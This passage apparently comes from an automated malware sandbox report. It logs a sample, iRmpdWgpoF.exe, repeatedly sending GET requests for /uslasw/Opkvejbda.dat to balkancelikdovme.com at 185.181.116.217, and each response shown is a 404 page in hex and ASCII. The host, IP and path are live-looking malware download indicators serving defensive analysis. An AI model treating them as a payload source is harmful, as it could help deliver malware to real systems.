2025-01-10 21:37:42 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49767	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:43 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:43 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:43 GMT vary: User-Agent
2025-01-10 21:37:43 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49768	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:44 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:44 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:44 GMT vary: User-Agent
2025-01-10 21:37:44 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49769	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:45 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:45 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:45 GMT vary: User-Agent
2025-01-10 21:37:45 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49770	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:46 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:46 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:46 GMT vary: User-Agent
2025-01-10 21:37:46 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49771	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:46 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:47 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:47 GMT vary: User-Agent
2025-01-10 21:37:47 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49772	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:47 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:48 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:47 GMT vary: User-Agent
2025-01-10 21:37:48 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49773	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:48 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:48 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:48 GMT vary: User-Agent
2025-01-10 21:37:48 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49774	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:49 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:49 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:49 GMT vary: User-Agent
2025-01-10 21:37:49 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49775	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:50 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:50 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:50 GMT vary: User-Agent
2025-01-10 21:37:50 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49776	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:51 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:51 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:51 GMT vary: User-Agent
2025-01-10 21:37:51 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49777	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:52 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:52 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:52 GMT vary: User-Agent
2025-01-10 21:37:52 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49778	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:53 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:53 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:53 GMT vary: User-Agent
2025-01-10 21:37:53 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49779	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:54 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:54 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:54 GMT vary: User-Agent
2025-01-10 21:37:54 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49780	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:54 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:55 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:55 GMT vary: User-Agent
